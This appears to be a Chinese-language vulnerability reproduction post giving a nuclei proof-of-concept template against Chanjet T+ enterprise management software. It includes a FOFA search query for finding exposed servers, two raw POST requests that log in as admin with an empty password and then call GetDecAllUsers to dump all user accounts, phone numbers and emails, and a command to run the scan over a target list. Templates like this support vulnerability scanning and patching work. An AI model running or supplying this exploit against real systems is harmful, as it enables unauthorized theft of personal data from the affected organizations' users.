畅捷通T+ getdecallusers信息泄露漏洞复现 nuclei poc

app="畅捷通-TPlus"

id: yonyou-chanjet-tplus-getdecallusers-infoleakinfo:  name: 畅捷通T+ getdecallusers信息泄露漏洞  author: fgz  severity: high  description: |    T+是用友畅捷通推出的一款新型互联网企业管理系统，T+能够满足成长型小微企业对其灵活业务流程的管控需求，重点解决往来业务管理、订单跟踪、资金、库存等管理难题。用户可以通过各种固定或移动设备随时随地迅速获取企业实时、动态的运营信息。该系统存在漏洞，导致所有用户账号电话号码以及邮箱泄露  reference:    None  metadata:    verified: true    max-request: 2    fofa-query: app="畅捷通-TPlus"  tags: chanjet,infoleakhttp:  - raw:      - |        POST /tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword HTTP/1.1        Host: {{Hostname}}        User-Agent: Opera/8.16.(X11; Linux i686; nn-NO) Presto/2.9.183 Version/12.00        Accept-Encoding: gzip, deflate        Accept: */*        Connection: close        Content-Length: 278        Content-Type: application/json        {"AccountNum": "000", "UserName": "admin", "Password": "", "rdpYear": "2023", "rdpMonth": "5", "rdpDate": "17", "webServiceProcessID": "admin", "ali_csessionid": "", "ali_sig": "", "ali_token": "", "ali_scene": "", "role": "", "aqdKey": "", "fromWhere": "browser", "cardNo": ""}      - |        POST /tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers HTTP/1.1        Host: {{Hostname}}        User-Agent: Opera/8.16.(X11; Linux i686; nn-NO) Presto/2.9.183 Version/12.00        Accept-Encoding: gzip, deflate        Accept: */*        Connection: close        Content-Length: 54        Content-Type: application/json        {"condition": "", "accNum": "", "onlyBuying": "false"}    cookie-reuse: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && contains((body_1), 'error')"          - "status_code_2 == 200 && contains((body_2), 'UserId')"        condition: and

.nuclei.exe -t .yonyou-chanjet-tplus-getdecallusers-infoleak.yaml -l .1.txt -me result